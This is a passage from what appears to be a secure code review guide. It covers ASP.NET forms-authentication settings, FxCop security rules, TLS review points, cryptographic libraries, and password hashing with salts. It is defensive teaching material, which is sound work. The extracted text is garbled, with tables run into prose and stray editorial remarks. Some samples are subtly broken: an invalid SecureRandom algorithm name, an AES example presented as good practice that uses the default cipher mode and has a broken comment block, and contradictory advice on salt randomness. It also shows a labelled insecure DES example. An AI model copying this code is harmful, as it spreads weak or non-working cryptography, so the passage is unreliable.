of Code Access security: <authentication mode=”Forms”> <forms loginUrl=”Restricted\login.aspx” Login page in an SSL protected folder protection=”All” Privacy and integrity requireSSL=”true” Prevents cookie being sent over http timeout=”10” Limited session lifetime name=”AppNameCookie” Unique per-application name path=”/FormsAuth” and path slidingExpiration=”true” > Sliding session lifetime </forms> </authentication> Sample 11.32 A5 - Security Misconfiguration 114 Declarative security Use declarative security instead of imperative whenever possible. Example of declarative syntax(MSDN[2], 2013): Unmanaged code Even though C# is a strong type language, it is possible to use unmanaged code calls by using the ‘unsafe’ code. “Check that any class that uses an unmanaged resource, such as a database connection across method calls, implements the IDisposable interface. If the semantics of the object are such that a Close method is more logical than a Dispose method, provide a Close method in addition to Dispose”. Exception handling Manage code should use exception handling for security purposes among other reasons. Make sure that you follow these recommendations: *Avoid exception handling in loops, use try/catch block if it is necessary. *Identify code that swallows exceptions *Use exceptions handling for unexpected conditions and not just to control the flow in the application Tools FxCop FxCop is an analysis tool that analyses binary assemblies, not source code. The tool has a predefined set of rules and it is possible to configure and extend them. Some of the available rules regarding security are (CodePlex, 2010): Vulnerability Improper use of link demands or asserts Code allows untrusted callers Implications The code is susceptible to luring attacks Malicious code can use the code to perform sensitive operations and access resources Table 16: Code Access Security Vulnerabilities [MyPermission(SecurityAction.Demand, Unrestricted = true)] public class MyClass { public MyClass() { //The constructor is protected by the security call. } public void MyMethod() { //This method is protected by the security call. } public void YourMethod() { //This method is protected by the security call. } } Sample 11.33 A5 - Security Misconfiguration 115 Rule Description EnableEventValidationShouldBeTrue Verifies if the EnableEventValidation directive is disabled on a certain page. ValidateRequestShouldBeEnabled Verifies if the ValidateRequest directive is disabled on a certain page. ViewStateEncryptionModeShouldBeAlways EnableViewStateMacShouldBeTrue EnableViewStateShouldBeTrue ViewStateUserKeyShouldBeUsed EnableCrossAppRedirectsShouldBeTrue FormAuthenticationProtectionShouldBeAll FormAuthenticationRequireSSLShouldBeTrue FormAuthenticationShouldNotContainFormAuthentica tionCredentials CustomErrorPageShouldBeSpecified DebugCompilationMustBeDisabled Verifies if the ViewStateEncryptionMode directive is not set to Never on a certain page. Verifies if the EnableViewStateMac directive is not set to false on a certain page. Verifies if the EnableViewState directive is not set to false on a certain page. Verifies if the Page.ViewStateUserKey is being used in the application to prevent CSRF. Verifies that system.web.authentication.forms enableCrossAppRedirects is set to true. The settings indicate if the user should be redirected to another application url after the authen- tication process. If the setting is false, the authentication process will not allow redirection to another application or host. This helps prevent an attacker to force the user to be redirected to another site during the authentication process. This attack is commonly called Open redi- rect and is used mostly during phishing attacks. Verifies that the protection attribute on the system.web.authentication.forms protection is set to All which specifies that the application use both data validation and encryption to help protect the authentication cookie. Verifies that the requireSSL attribute on the system.web.authentication.forms configuration element is set to True which forces the authentication cookie to specify the secure attribute. This directs the browser to only provide the cookie over SSL. Verifies that no credentials are specified under the form authentication configuration. Verifies that the CustomErrors section is configured to have a default URL for redirecting uses in case of error. Verifies that debug compilation is turned off. This eliminates potential performance and se- curity issues related to debug code enabled and additional extensive error messages being returned. Table 17: FxCop Flags HttpCookiesRequireSSLShouldBeTrue TraceShouldBeDisabled Verifies that the system.web.httpCookies requireSSL configuration is set to True which forces all cookies to be sent with the secure attribute. This indicates the browser to only provide the cookie over SSL. Verifies that the system.web.trace enabled setting is set to false which disables tracing. It is recommended to disable tracing on production servers to make sure that an attacker cannot gain information from the trace about your application. Trace information can help an attack- er probe and compromise your application. FormAuthenticationSlidingExpirationShouldBeFalse HttpCookiesHttpOnlyCookiesShouldBeTrue Verifies that system.web.authentication.forms slidingExpiration is set to false when the site is being served over HTTP. This will force the authentication cookie to have a fixed timeout value instead of being refreshed by each request. Since the cookie will traverse over clear text network and could potentially be intercepted, having a fixed timeout value on the cookie will limit the amount of time the cookie can be replayed. If the cookie is being sent only over HTTPS, it is less likely to be intercepted and having the slidingExpiration setting to True will cause the timeout to be refreshed after each request which gives a better user experience. Verifies that the system.web.httpCookies httpOnlyCookies configuration setting is set to True which forces all cookies to be sent with the HttpOnly attribute. A5 - Security Misconfiguration 116 Rule Description AnonymousAccessIsEnabled PagesEnableViewStateMacShouldBeTrue PagesValidateRequestShouldBeEnabled PagesViewStateEncryptionModeShouldBeAlways CustomErrorsModeShouldBeOn MarkVerbHandlersWithValidateAntiforgeryToken PagesEnableEventValidationMustBeTrue RoleManagerCookieProtectionShouldBeAll RoleManagerCookieRequireSSLShouldBeTrue RoleManagerCookieSlidingExpirationShouldBeTrue HttpRuntimeEnableHeaderCheckingShouldBeTrue Looks in the web.config file to see if the authorization section allows anonymous access. Verifies that the viewstate mac is enabled. Verify that validateRequest is enabled. Verifies that the viewstate encryption mode is not configured to never encrypt. Verifies that the system.web.customErrors mode is set to On or RemoteOnly. This disable de- tailed error message returned by ASP.NET to remote users. ValidateAntiforgeryTokenAttribute is used to protect against potential CSRF attacks against ASP.NET MVC applications. Verifies that event validation is enabled. Verifies that the system.web.rolemanager cookieProtection is set to All which enforces the cookie to be both encrypted and validated by the server. Verifies that the system.web.rolemanager cookieRequireSSL attribute is set to True which forces the role manager cookie to specify the secure attribute. This directs the browser to only provide the cookie over SSL. Verifies that the system.web.rolemanager cookieSlidingExpiration is set to false when the site is being served over HTTP. This will force the authentication cookie to have a fixed timeout value instead of being refreshed by each request. Since the cookie will traverse over clear text network and could potentially be intercepted, having a fixed timeout value on the cookie will limit the amount of time the cookie can be replayed. If the cookie is being sent only over HTTPS, it is less likely to be intercepted and having the slidingExpiration setting to True will cause the timeout to be refreshed after each request which gives a better user experience. Verifies that the system.web.httpRuntime enableHeaderChecking attribute is set to true. The setting indicates whether ASP.NET should check the request header for potential injection attacks. If an attack is detected, ASP.NET responds with an error. This forces ASP.NET to apply the ValidateRequest protection to headers sent by the client. If an attack is detected the ap- plication throws HttpRequestValidationException. A5 - Security Misconfiguration 117 A6 118 A6 - Sensitive Data Exposure SENSITIVE DATA EXPOSURE A6 Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser. 12.1 Cryptographic Controls Software developers, architects and designers are at the forefront of deciding which category a particular application resides in. Cryptography provides for security of data at rest (via encryption), enforcement of data integrity (via hashing/digesting), and non-repudiation of data (via signing). To ensure this cryptographic code adequately protections the data, all source code must use a standard (secure) algorithms with strong key sizes. Common flaws when implementing cryptographic code includes the use of non-standard cryptographic algo- rithms, custom implementation of cryptography (standard & non-standard) algorithms, use of standard algo- rithms which are cryptographically insecure (e.g. DES), and the implementation of insecure keys can weaken the overall security posture of any application. Implementation of the aforementioned flaws enable attackers to use cryptanalytic tools and techniques to decrypt sensitive data. 12.2 Description Many companies handle sensitive information for their customers, for instance medical details or credit card numbers, and industry regulations dictate this sensitive information must be encrypted to protect the customers’ information. In the medical industry the HIPAA regulations advise businesses what protections must be applied to medical data, in the financial industry many regulations cover PII (personally identifiable information) controls. Regardless of the financial impact of regulatory penalties, there are many business reasons to protect (though en- cryption or hashing) the information processed by an application, including privacy and fraud detection/protection. All sensitive data that the application handles should be identified and encryption should be enforced. Simi- larly a decision should be made as to whether sensitive data must be encrypted in transit (i.e. being sent from one computer to another) and/or at rest (i.e. stored in a DB, file, keychain, etc.): 1) Protection in transit; this typically means using the SSL/TLS layer to encrypt data travelling on the HTTP protocol, although it can also include FTPS, or even SSL on TCP. Frameworks such as IIS and Apache Struts come with SSL/TLS functionality included, and thus the developer will not be coding the actual TLS encryp- tion, but instead will be configuring a framework to provide TLS security. However the decisions made here, even at an architectural level, need to be well informed, and a discussion on TLS design decisions is covered in section 1.3. 2) Protection at rest; this can include encryption of credit cards in the database, hashing of passwords, producing message authentication codes (MACs) to ensure a message has not been modified between com- puters. Where TLS code will come with a framework, code to encrypt or hash data to be stored will typically need to use APIs provided by cryptographic libraries. The developer will not be writing code to implement the AES algorithm (OpenSSL or CryptoAPI will do that), the developer will be writing modules to use an AES implantation in the correct way. Again the correct decisions need to be made regarding up-to-date algorithms, key storage, and other design decisions, which are covered in section 1.4. 119 A6 - Sensitive Data Exposure Cryptography Definitions Before diving into discussions on encrypting traffic and data, some terminology used in the realm of cryptog- raphy is defined in table 18. 12.3 What to Review: Protection in Transit The terms Secure Socket Layer (SSL) and Transport Layer Security (TLS) are often used interchangeably. In fact, SSL v3.1 is equivalent to TLS v1.0. However, different versions of SSL and TLS are supported by modern web browsers and by most modern web frameworks and platforms. Note that since developments in attacks against the SSL protocol have shown it to be weaker against attacks, this guide will use the term TLS to refer to transport layer security over the HTTP or TCP protocols. The primary benefit of transport layer security is the protection of web application data from unauthorized disclosure and modification when it is transmitted between clients (web browsers) and the web application server, and between the web application server and back end and other non-browser based enterprise com- ponents. In theory, the decision to use TLS to protect computer to computer communication should be based on the nature of the traffic or functionality available over the interface. If sensitive information is passing over the Hashing Entropy Encoding Salt Encryption Symmetric Encryption Public-Key Encryption (PKI) Certificate Non-reversible transformation of data into what is called a ‘fingerprint’ or ‘hashvalue’. Input of any size can be taken and always results in the same size of output (for the algorithm). The aim is not to convert the fingerprint back into the source data at a later time, but to run the hash algorithm over two sets of data to determine if they produce the same fingerprint. This would show that data has not been tampered with. Essentially this is randomness. Cryptographic functions will need to work with some form of randomness to allow the source data to be encrypted in such a way that an attacker cannot reverse the encryption without the necessary key. Having a good source of entropy is essential to any cryptographic algorithm. Transforming data from one form into another, typically with the aim of making the data easier to work with. For ex- ample encoding binary data (which could not be printed to a screen into printable ASCII format which can be copy/ pasted. Note that encoding does not aim to hide the data, the method to return the encoded data back to its original form will be publically known. A non-secret value that can be added to a hashing algorithm to modify the fingerprint result. One attack against hashing algorithms is a ‘rainbow table attack’ where all source values are pre-computed and a table produced. The attacker can then take a fingerprint, look it up in the table, and correspond it to the original data. Using a unique salt value for each data to be hashed protects against rainbow tables, as a rainbow table for each salt value would need to be created, which would greatly extend the time taken by an attacker. The salt is not a secret and can be stored or sent with the fingerprint. Transformation of source data into an encrypted form that can be reversed back to the original source. Typically the algorithms used to encrypt are publically known, but rely on a secret ‘key’ to guide the transformation. An attacker without the key should not be able to transform the data back into the original source. A form of encryption where the same key is known to both the sender and the receiver. This is a fast form of encryption, however requires a secure, out-of-band method to pass the symmetric key between the sender and receiver. A form of encryption using two keys, one to encrypt the data, and one to decrypt the data back to its original form. This is a slower method of encryption however one of the keys can be publically known (referred to as a ‘public key’). The other key is called a ‘private key’ and is kept secret. Any data encrypted with the public key can be decrypted back into its original form using the private key. Similarly any data encrypted with the private key can be decrypted back to its original form using the public key. An association between an entity (e.g. person, company) and a public key. Typically this forms part of a public-key infrastructure where certain trusted entities (e.g. Certificate Authorities in internet TLS) perform validation of an entitles credentials and assert (using their own certificate) that a declared public key belongs to the entity. Term Description Table 18: Cryptographic Definitions 120 interface, TLS will prevent eavesdroppers from being able to view or modify the data. Likewise if the interface allows money to be transferred, or sensitive functions to be initiated, then TLS will protect the associated login or session information authorizing the user to perform those functions. However with the price of certificates dropping, and TLS configuration within frameworks becoming easier, TLS protection of an interface is not a large endeavor and many web sites are using TLS protections for their entire site (i.e. there are only HTTPS pages, no HTTP pages are available). The server validation component of TLS provides authentication of the server to the client. If configured to re- quire client side certificates, TLS can also play a role in client authentication to the server. However, in practice client side certificates are not often used in lieu of username and password based authentication models for clients. Using Validated Implementations The US government provides a list of software that has been validated to provide a strong and secure imple- mentation of various cryptographic functions, including those used in TLS. This list is referred to as the FIPS 140-2 validated cryptomodules. A cryptomodule, whether it is a software library or a hardware device, implements cryptographic algorithms (symmetric and asymmetric algorithms, hash algorithms, random number generator algorithms, and message authentication code algorithms). The security of a cryptomodule and its services (and the web applications that call the cryptomodule) depend on the correct implementation and integration of each of these three parts. In addition, the cryptomodule must be used and accessed securely. In order to leverage the benefits of TLS it is important to use a TLS service (e.g. library, web framework, web application server) which has been FIPS 140-2 validated. In addition, the cryptomodule must be installed, configured and operated in either an approved or an allowed mode to provide a high degree of certainty that the FIPS 140-2 validated cryptomod- ule is providing the expected security services in the expected manner. When reviewing designs or code that is handling TLS encryption, items to look out for include: • Use TLS for the login pages and any authenticated pages. Failure to utilize TLS for the login landing page allows an attacker to modify the login form action, causing the user’s credentials to be posted to an arbitrary location. Failure to utilize TLS for authenticated pages after the login enables an attacker to view the unen- crypted session ID and compromise the user’s authenticated session. • Use TLS internally when transmitting sensitive data or exposing authenticated functionality. All networks, both external and internal, which transmit sensitive data must utilize TLS or an equivalent transport layer se- curity mechanism. It is not sufficient to claim that access to the internal network is “restricted to employees”. Numerous recent data compromises have shown that the internal network can be breached by attackers. In these attacks, sniffers have been installed to access unencrypted sensitive data sent on the internal network. • Prefer all interfaces (or pages) being accessible only over HTTPS. All pages which are available over TLS must not be available over a non-TLS connection. A user may inadvertently bookmark or manually type a URL to a HTTP page (e.g. http://example.com/myaccount) within the authenticated portion of the application. • Use the “secure” and “http-only” cookie flags for authentication cookies. Failure to use the “secure” flag enables an attacker to access the session cookie by tricking the user’s browser into submitting a request to an unencrypted page on the site. The “http-only” flag denies JavaScript functions access to the cookies contents. • Do not put sensitive data in the URL. TLS will protect the contents of the traffic on the wire, including the URL when transported, however remember that URL’s are visible in browser history settings, and typically written A6 - Sensitive Data Exposure 121 to server logs. • Prevent the caching of sensitive data. The TLS protocol provides confidentiality only for data in transit but it does not help with potential data leakage issues at the client or intermediary proxies. • Use HTTP Strict Transport Security (HSTS) for high risk interfaces. HSTS will prevent any web clients from attempting to connect to your web site over a non-TLS protocol. From a server-side point of view this may seem irrelevant if no non-TLS pages are provided, however a web site setting up HSTS does protect clients from other attacks (e.g. DNS cache poisioning). • Use 2048 key lengths (and above) and SHA-256 (and above). The private key used to generate the cipher key must be sufficiently strong for the anticipated lifetime of the private key and corresponding certificate. The current best practice is to select a key size of at least 2048 bits. Note that attacks against SHA-1 have shown weakness and the current best practice is to use at least SHA-256 or equivalent. • Only use specified, fully qualified domain names in your certificates. Do not use wildcard certificates, or RFC 1918 addresses (e.g. 10.* or 192.168.*). If you need to support multiple domain names use Subject Alternate Names (SANs) which provide a specific listing of multiple names where the certificate is valid. For example the certificate could list the subject’s CN as example.com, and list two SANs: abc.example.com and xyz.example. com. These certificates are sometimes referred to as “multiple domain certificates”. • Always provide all certificates in the chain. When a user receives a server or host’s certificate, the certificate must be validated back to a trusted root certification authority. This is known as path validation. There can be one or more intermediate certificates in between the end-entity (server or host) certificate and root certif- icate. In addition to validating both endpoints, the client software will also have to validate all intermediate certificates, which can cause failures if the client does not have the certificates. This occurs in many mobile platforms. 12.4 What to Review: Protection at Rest As a general recommendation, companies should not create their own custom cryptographic libraries and al- gorithms. There is a huge distinction between groups, organizations, and individuals developing cryptograph- ic algorithms and those that implement cryptography either in software or in hardware. Using an established cryptographic library that has been developed by experts and tested by the industry is the safest way to im- plement cryptographic functions in a company’s code. Some common examples of libraries used in various languages and environments are covered in the below table. Discussion Language C# .NET Libraries Class libraries within ‘Sys- tem.Security. Cryptogra- phy’ For applications coded in C#.NET there are class libraries and implementations within the ‘System.Security.Cryptog- raphy’ that should be used. This namespace within .NET aims to provide a number of warppers that do not require proficient knowledge of cryptography in order to use it. Table 19: Popular Cryptographic implementations according to environment C/C++ (Win32) CryptoAPI and DPAPI For C/C++ code running on Win32 platforms, the CreyptoAPI and DPAPI are recommended. C/C++ (Linux) OpenSSL, NSS, boringssl For C/C++ on Linux/Unix operating systems, us OpenSSL, NSS, or one of the many forks of these libraries. A6 - Sensitive Data Exposure 122 A secure way to implement robust encryption mechanisms within source code is by using FIPS [7] compliant algo- rithms with the use of the Microsoft Data Protection API (DPAPI) [4] or the Java Cryptography Extension (JCE) [5]. A company should identify minimum standards for the following when establishing your cryptographic code strategy: • Which standard algorithms are to be used by applications • Minimum key sizes to be supported • What types of data must be encrypted When reviewing code handling cryptography look out for: • Is strong enough encryption algorithms being used, and is the implementation of those algorithms FIPS-140 com- plaint. • Is the right type of cryptographic algorithm being used, is data being hashed that should be encrypted with a symmetric key? If there is no way to safely transfer the symmetric key to the other party, is public key cryptographic algorithms being employed? • In any cryptographic system the protection of the key is the most important aspect. Exposure of the symmetric or private key means the encrypted data is no longer private. Tightly control who has access to enter or view the keys, and how the keys are used within applications. • Any code implementing cryptographic processes and algorithms should be reviewed and audited against a set of company or regulatory specifications. High level decisions need to be made (and continually revisited) as to what an organization considers ‘strong encryption’ to be, and all implementation instances should adhere to this standard. • Cryptographic modules must be tested under high load with multithreaded implementations, and each piece of encrypted data should be checked to ensure it was encrypted and decrypted correctly. • In .Net check for examples of cryptography in the MSDN Library Security Practices: .NET Framework 2.0 Security Practices at a Glance o Check that the Data Protection API (DPAPI) is being used. o Verify no proprietary algorithms are being used. o Check that RNGCryptoServiceProvider is used for PRNG. o Verify key length is at least 128 bits. • In ASP perform all of these checks on the COM wrapper as ASP does not have direct access to cryptographic functions o Check that the Data Protection API (DPAPI) or CryptoAPI is being used into COM object ASP Java CryptoAPI and DPAPI Java Cryp- tography Extension, BouncyCas- tle, Spring Security Classis ASP pages do not have direct access to cryptographic functions, so the only way is to create COM wrappers in Visual C++ or Visual Basic, implementing calls to CryptoAPI or DPAPI. Then call them from ASP pages using the Server. CreateObject method. JCE is a standard API that any cryptographic library can implement to provide cryptographic functions to the developer. Oracle provide a list of companies that act as Cryptographic Service Providers and/or offer clean room implementations of the JCE. BouncyCastle is on of the more popular implementations. Spring Secuirty is also popular in application where Spring is already being utilized. A6 - Sensitive Data Exposure • P122 - b slightly incorrect points indents - quickly on a call. 123 o Verify no proprietary algorithms are being used o Check that RNGCryptoServiceProvider is used for PRNG o Verify key length is at least 128 bits • For Java check that the Java Cryptography Extension (JCE) is being used o Verify no proprietary algorithms are being used o Check that SecureRandom (or similar) is used for PRNG o Verify key length is at least 128 bits Bad Practice: Use of Insecure Cryptographic Algorithms The DES and SHA-0 algorithms are cryptographically insecure. The example in sample 12.1 outlines a cryptographic module using DES (available per using the Java Cryptographic Extensions) which should not be used. Additionally, SHA-1 and MD5 should be avoided in new applications moving forward. Good Practice: Use Strong Entropy The source code in sample 12.2 outlines secure key generation per use of strong entropy: package org.badexample.crypto; <snip> try { /** Step 1. Generate a DES key using KeyGenerator */ KeyGenerator keyGen = KeyGenerator.getInstance(“DES”); SecretKey secretKey = keyGen.generateKey(); /** Step2. Create a Cipher by specifying the following parameters * a. Algorithm name - here it is DES * b. Mode - here it is CBC * c. Padding - PKCS5Padding */ Cipher desCipher = Cipher.getInstance(“DES/CBC/PKCS5Padding”); <snip> Sample 12.1 package org.owasp.java.crypto; import java.security.SecureRandom; import java.security.NoSuchAlgorithmException; import sun.misc.BASE64Encoder; /** * This program provides the functionality for Generating a Secure Random Number. * There are 2 ways to generate a Random number through SecureRandom. * 1. By calling nextBytes method to generate Random Bytes Sample 12.2 A6 - Sensitive Data Exposure bottom of page is in terms of bullet again let’s cover 124 Good Practice: Use Strong Algorithms Below illustrates the implementation of AES (available per Using the Java Cryptographic Extensions): * 2. Using setSeed(byte[]) to reseed a Random object */ public class SecureRandomGen { public static void main(String[] args) { try { // Initialize a secure random number generator SecureRandom secureRandom = SecureRandom.getInstance(“SHA512”); // Method 1 - Calling nextBytes method to generate Random Bytes byte[] bytes = new byte[512]; secureRandom.nextBytes(bytes); // Printing the SecureRandom number by calling secureRandom.nextDouble() System.out.println(“ Secure Random # generated by calling nextBytes() is “ + secureRandom. nextDouble()); // Method 2 - Using setSeed(byte[]) to reseed a Random object int seedByteCount = 10; byte[] seed = secureRandom.generateSeed(seedByteCount); secureRandom.setSeed(seed); System.out.println(“ Secure Random # generated using setSeed(byte[]) is “ + secureRandom. nextDouble()); } catch (NoSuchAlgorithmException noSuchAlgo) { System.out.println(“ No Such Algorithm exists “ + noSuchAlgo); } } } package org.owasp.java.crypto; import javax.crypto.KeyGenerator; import javax.crypto.SecretKey; import javax.crypto.Cipher; import java.security.NoSuchAlgorithmException; import java.security.InvalidKeyException; import java.security.InvalidAlgorithmParameterException; import javax.crypto.NoSuchPaddingException; Sample 12.3 A6 - Sensitive Data Exposure 125 import javax.crypto.BadPaddingException; import javax.crypto.IllegalBlockSizeException; import sun.misc.BASE64Encoder; /** * This program provides the following cryptographic functionalities * 1. Encryption using AES * 2. Decryption using AES * * High Level Algorithm : * 1. Generate a DES key (specify the Key size during this phase) * 2. Create the Cipher * 3. To Encrypt : Initialize the Cipher for Encryption * 4. To Decrypt : Initialize the Cipher for Decryption */ public class AES { public static void main(String[] args) { String strDataToEncrypt = new String(); String strCipherText = new String(); String strDecryptedText = new String(); try{ /** * Step 1. Generate an AES key using KeyGenerator * Initialize the keysize to 128 */ KeyGenerator keyGen = KeyGenerator.getInstance(“AES”); keyGen.init(128); SecretKey secretKey = keyGen.generateKey(); /** * Step2. Create a Cipher by specifying the following parameters * a. Algorithm name - here it is AES */ Cipher aesCipher = Cipher.getInstance(“AES”); /** * Step 3. Initialize the Cipher for Encryption */ aesCipher.init(Cipher.ENCRYPT_MODE,secretKey); /** * Step 4. Encrypt the Data * 1. Declare / Initialize the Data. Here the data is of type String * 2. Convert the Input Text to Bytes A6 - Sensitive Data Exposure 126 * 3. Encrypt the bytes using doFinal method */ strDataToEncrypt = “Hello World of Encryption using AES “; byte[] byteDataToEncrypt = strDataToEncrypt.getBytes(); byte[] byteCipherText = aesCipher.doFinal(byteDataToEncrypt); strCipherText = new BASE64Encoder().encode(byteCipherText); System.out.println(“Cipher Text generated using AES is “ +strCipherText); /** */ Step 5. Decrypt the Data * 1. Initialize the Cipher for Decryption * 2. Decrypt the cipher bytes using doFinal method */ aesCipher.init(Cipher.DECRYPT_MODE,secretKey,aesCipher.getParameters()); byte[] byteDecryptedText = aesCipher.doFinal(byteCipherText); strDecryptedText = new String(byteDecryptedText); System.out.println(“ Decrypted Text message is “ +strDecryptedText); } catch (NoSuchAlgorithmException noSuchAlgo) { System.out.println(“ No Such Algorithm exists “ + noSuchAlgo); } catch (NoSuchPaddingException noSuchPad) { System.out.println(“ No Such Padding exists “ + noSuchPad); } catch (InvalidKeyException invalidKey) { System.out.println(“ Invalid Key “ + invalidKey); } catch (BadPaddingException badPadding) { System.out.println(“ Bad Padding “ + badPadding); } catch (IllegalBlockSizeException illegalBlockSize) { System.out.println(“ Illegal Block Size “ + illegalBlockSize); } catch (InvalidAlgorithmParameterException invalidParam) { System.out.println(“ Invalid Parameter “ + invalidParam); } } } A6 - Sensitive Data Exposure 127 1.1.4 References [1] Bruce Schneier, Applied Cryptography, John Wiley & Sons, 2nd edition, 1996. [2] Michael Howard, Steve Lipner, The Security Development Lifecycle, 2006, pp. 251 - 258 [3] .NET Framework Developer’s Guide, Cryptographic Services, http://msdn2.microsoft.com/en-us/library/93bsk- f9z.aspx [4] Microsoft Developer Network, Windows Data Protection, http://msdn2.microsoft.com/en-us/library/ ms995355.aspx [5] Sun Developer Network, Java Cryptography Extension, http://java.sun.com/products/jce/ [6] Sun Developer Network, Cryptographic Service Providers and Clean Room Implementations, http://java.sun. com/products/jce/jce122_providers.html [7] Federal Information Processing Standards, http://csrc.nist.gov/publications/fips/ 12.5 Encryption, Hashing & Salting A cryptographic hash algorithm, also called a hash function, is a computer algorithm designed to provide a random mapping from an arbitrary block of data (string of binary data) and return a fixed-size bit string known as a “message digest” and achieve certain security. Cryptographic hashing functions are used to create digital signatures, message authentication codes (MACs), other forms of authentication and many other security applications in the information infrastructure. They are also used to store user passwords in databases instead of storing the password in clear text and help prevent data leakage in session management for web applications. The actual algorithm used to create a cryptology function varies per im- plementation (SHA-256, SHA-512, etc.) Never accept in a code review an algorithm created by the programmer for hashing. Always use cryptographic func- tions that are provided by the language, framework, or common (trusted) cryptographic libraries. These functions are well vetted and well tested by experience cryptographers. In the United States in 2000, the department of Commerce Bureau of Export revised encryption export regulations. The results of the new export regulations it that the regulations have been greatly relaxed. However if the code is to be exported outside of the source country current export laws for the export and import counties should be reviewed for compliance. Case in point is if the entire message is hashed instead of a digital signature of the message the National Security Agency (NSA) considers this a quasi-encryption and State controls would apply. It is always a valid choice to seek legal advice within the organization if the code review is being done to ensure legal compliance. With security nothing is secure forever. This is especially true with cryptographic hashing functions. Some hashing algorithms such as Windows LanMan hashes are considered completely broken. Others like MD5, which in the past were considered safe for password hash usage, have known issues like collision attacks (note that collision attacks do not affect password hashes). The code reviewer needs to understand the weaknesses of obsolete hashing functions as well as the current best practices for the choice of cryptographic algorithms. A6 - Sensitive Data Exposure 128 Working with Salts The most common programmatic issue with hashing is: • Not using a salt value • Using a salt the salt value is too short • Same salt value is used in multiple hashes. The purpose of a salt is to make it harder for an attacker to perform pre-computed hashing attack (e.g., using rainbow tables). Take for example that the SHA512 has of ‘password’ is as shown in row 1 of table 20, and any attacker with a rainbow table will spot the hash value corresponding to ‘password’. Taking into consideration it takes days or weeks to compute a rainbow table to values up to around 8 or 10 characters, the effort to produce this table is worth it when an application is not using any salts. Now take a scenario where an application adds a salt of ‘WindowCleaner’ to all passwords entered. Now the hash of ‘password’ becomes the hash of ‘passwordWindowCleaner’, which is shown in row 2 of table 20. This is unlikely to be in the attackers rainbow table, however the attacker can now spend the next 10 days (for example) computing a new rainbow table with ‘WindowCleaner’ on the end of every 8 to 10 character string and they again can now decode our hashed database of passwords. At a last step, an application can create a random salt for each entry, and store that salt in the DB with the hashed password. Now for user1, the random salt is ‘a0w8hsdfas8ls587uas87’, meaning the password to be hashed is ‘pass- worda0w8hsdfas8ls587uas87’, shown in row 3 of table 20, and for user2, the random salt is ‘8ash87123klnf9d8dq3w’, meaning the password to be hashed is ‘password8ash87123klnf9d8dq3w’, shown in row 4 of table X, and repeat for all users. Now an attacker would need a rainbow table for each users’ password they mean to decrypt – whereas before it took 10 days to decrypt all of the DB passwords using the same salt, now it takes 10 days to create a rainbow table for user1’s password, and another 10 days for user2’s password, etc. If there were 100,000 users, that’s now 100,000 x 10 days = 1,000,000 days or 2738 years, to create rainbow tables for all the users. As can be seen, the salt does not need to be secret, as it is the fact that unique salts are used for each user that slows down an attacker. Fingerprint Method to hash ‘password’ No salt B109F3BBBC244EB82441917ED06D618B9008DD09B3 BEFD1B5E07394C706A8BB980B1D7785E5976EC049B 46DF5F1326AF5A2EA6D103FD07C95385FFAB0CACBC86 Salt = ‘WindowCleaner’ Salt = ‘a0w8hsdfas8ls587uas87’ Salt = ‘8ash87123klnf9d8dq3w’ E6F9DCB1D07E5412135120C0257BAA1A27659D41DC7 7FE2DE4C345E23CB973415F8DFDFFF6AA7F0AE0BDD 61560FB028EFEDF2B5422B40E5EE040A0223D16F06F 5AA762E7C83CFF223B5A00ADA939FBD186C4A2CD01 1B0A7FE7AF86B8CA5420C7A47B52AFD2FA6B9BB172 22ACF32B3E13F8C436447C36364A5E2BE998416A103A 8058D43195B1CF2794D012A86AC809BFE73254A82C8C E6C10256D1C46B9F45700D040A6AC6290746058A63E5 0AAF8C87ABCD5C3AA00CDBDB31C10BA6D12A1A7 Table 20: Salt usages and associated fingerprints A6 - Sensitive Data Exposure 129 One way to generate a salt value is using a pseudo-random number generator, as shown in sample 12.4 below. Note that a salt value does not need to possess the quality of a cryptographically secure randomness. Best practices is to use a cryptographically function to create the salt, create a salt value for each hash value, and a minimum value of 128 bits (16 characters). The bits are not costly so don’t save a few bits thinking you gain something back in performance instead use a value of 256-bit salt value. It is highly recommended. Best Practices Industry leading Cryptographer’s are advising that MD5 and SHA-1 should not be used for any applications. The United State FEDERAL INFORMATION PROCESSING STANDARDS PUBLICATION (FIPS) specifies seven cryp- tographic hash algorithms — SHA-1, SHA-224, SHA-256, SHA-384, SHA-512, SHA-512/224, and SHA-512/256 are approved for federal use. The code reviewer should consider this standard because the FIPS is also widely adopted by the information technology industry. The code reviewer should raise a red flag if MD5 and SHA-1 are used and a risk assessment be done to under- stand why these functions would be used instead of other better-suited hash functions. FIPS does allow that MD5 can be used only when used as part of an approved key transport scheme where no security is provided by the algorithm. sample 12.5 below shows an example function which could implement a generic hash feature for an applica- tion. private int minSaltSize = 8; private int maxSaltSize = 24; private int saltSize; private byte[] GetSalt(string input) { byte[] data; byte[] saltBytes; RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider(); saltBytes = new byte[saltSize]; rng.GetNonZeroBytes(saltBytes); data = Encoding.UTF8.GetBytes(input); byte[] dataWithSaltBytes = new byte[data.Length + saltBytes.Length]; for (int i = 0; i < data.Length; i++) dataWithSaltBytes[i] = data[i]; for (int i = 0; i < saltBytes.Length; i++) dataWithSaltBytes[data.Length + i] = saltBytes[i]; return dataWithSaltBytes; } Sample 12.4 A6 - Sensitive Data Exposure 130 Line 1 lets us get our hashing algorithm we are going to use from the config file. If we use the machine config file our implementation would be server wide instead of application specific. Line 3 allows us to use the config value and set it according as our choice of hashing function. ComputHash could be SHA-256 or SHA-512. References http://valerieaurora.org/hash.html (Lifetimes of cryptographic hash functions) http://docs.oracle.com/javase/6/docs/api/java/security/SecureRandom.html http://msdn.microsoft.com/en-us/library/system.security.cryptography.rngcryptoserviceprovider.aspx http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf Ferguson and Schneier (2003) Practical Cryptography (see Chapter 6; section 6.2 Real Hash Functions) 12.6 Reducing the attack surface The Attack Surface of an application is a description of the entry/exit points, the roles/entitlements of the users, and the sensitivity of the data held within the application. For example, entry points such as login screens, HTML forms, file upload screens, all introduce a level of risk to the application. Note that the code structure also forms part of the Attack Surface, in that the code checking authentication, or crypto, etc., is exercised by critical functions on the application. Description The attack surface of a software environment is a description of the entry points where an attacker can try to manipu- late an application, it typically takes the form of a systems diagram where all entry points (interfaces) are pointed out. App Code File: <add key=”HashMethod” value=”SHA512”/> C# Code: 1: preferredHash = 